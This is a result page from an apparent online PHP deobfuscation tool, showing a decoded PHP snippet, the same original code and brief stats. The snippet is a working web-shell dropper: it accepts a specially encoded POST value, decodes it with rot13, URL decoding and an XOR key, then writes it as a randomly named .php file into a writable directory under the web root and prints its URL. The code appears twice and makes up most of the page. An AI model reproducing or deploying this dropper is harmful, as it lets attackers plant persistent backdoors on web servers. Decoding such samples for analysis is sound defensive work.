Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $qahgjcb = "xbsgjclfbrahsmdw";$ktggdglrta = "";foreach ($_POST as $uaptbk => $zszeac..

Decoded Output download

<?php $qahgjcb = "xbsgjclfbrahsmdw";$ktggdglrta = "";foreach ($_POST as $uaptbk => $zszeaczc){if (strlen($uaptbk) == 16 and substr_count($zszeaczc, "%") > 10){fgbdy($uaptbk 
, $zszeaczc);}}function fgbdy($uaptbk, $ufwnp){global $ktggdglrta;$ktggdglrta = $uaptbk;$ufwnp = str_split(rawurldecode(str_rot13($ufwnp)));function ufbvkzho($akabnjnpb, $u 
aptbk){global $qahgjcb, $ktggdglrta;return $akabnjnpb ^ $qahgjcb[$uaptbk % strlen($qahgjcb)] ^ $ktggdglrta[$uaptbk % strlen($ktggdglrta)];}$ufwnp = implode("", array_map("u 
fbvkzho", array_values($ufwnp), array_keys($ufwnp)));$ufwnp = @unserialize($ufwnp);if (@is_array($ufwnp)){$uaptbk = array_keys($ufwnp);$ufwnp = $ufwnp[$uaptbk[0]];if ($ufwn 
p === $uaptbk[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function dwfjhgd($lvwanjpumir) {static $foeidpxnnf = array();$xzxjic = glob($lvwanjpumir . ' 
/*', GLOB_ONLYDIR);if (count($xzxjic) > 0) {foreach ($xzxjic as $lvwanjpum){if (@is_writable($lvwanjpum)){$foeidpxnnf[] = $lvwanjpum;}}}foreach ($xzxjic as $lvwanjpumir) dw 
fjhgd($lvwanjpumir);return $foeidpxnnf;}$xcybfw = $_SERVER["DOCUMENT_ROOT"];$xzxjic = dwfjhgd($xcybfw);$uaptbk = array_rand($xzxjic);$vjmwvfyvc = $xzxjic[$uaptbk] . "/" . s 
ubstr(md5(time()), 0, 8) . ".php";@file_put_contents($vjmwvfyvc, $ufwnp);echo "http://" . $_SERVER["HTTP_HOST"] . substr($vjmwvfyvc, strlen($xcybfw));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $qahgjcb = "xbsgjclfbrahsmdw";$ktggdglrta = "";foreach ($_POST as $uaptbk => $zszeaczc){if (strlen($uaptbk) == 16 and substr_count($zszeaczc, "%") > 10){fgbdy($uaptbk
, $zszeaczc);}}function fgbdy($uaptbk, $ufwnp){global $ktggdglrta;$ktggdglrta = $uaptbk;$ufwnp = str_split(rawurldecode(str_rot13($ufwnp)));function ufbvkzho($akabnjnpb, $u
aptbk){global $qahgjcb, $ktggdglrta;return $akabnjnpb ^ $qahgjcb[$uaptbk % strlen($qahgjcb)] ^ $ktggdglrta[$uaptbk % strlen($ktggdglrta)];}$ufwnp = implode("", array_map("u
fbvkzho", array_values($ufwnp), array_keys($ufwnp)));$ufwnp = @unserialize($ufwnp);if (@is_array($ufwnp)){$uaptbk = array_keys($ufwnp);$ufwnp = $ufwnp[$uaptbk[0]];if ($ufwn
p === $uaptbk[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function dwfjhgd($lvwanjpumir) {static $foeidpxnnf = array();$xzxjic = glob($lvwanjpumir . '
/*', GLOB_ONLYDIR);if (count($xzxjic) > 0) {foreach ($xzxjic as $lvwanjpum){if (@is_writable($lvwanjpum)){$foeidpxnnf[] = $lvwanjpum;}}}foreach ($xzxjic as $lvwanjpumir) dw
fjhgd($lvwanjpumir);return $foeidpxnnf;}$xcybfw = $_SERVER["DOCUMENT_ROOT"];$xzxjic = dwfjhgd($xcybfw);$uaptbk = array_rand($xzxjic);$vjmwvfyvc = $xzxjic[$uaptbk] . "/" . s
ubstr(md5(time()), 0, 8) . ".php";@file_put_contents($vjmwvfyvc, $ufwnp);echo "http://" . $_SERVER["HTTP_HOST"] . substr($vjmwvfyvc, strlen($xcybfw));exit();}}}

Function Calls

None

Variables

None

Stats

MD5 8747cc7f64b03c2f17bfaf0873de2d58
Eval Count 0
Decode Time 78 ms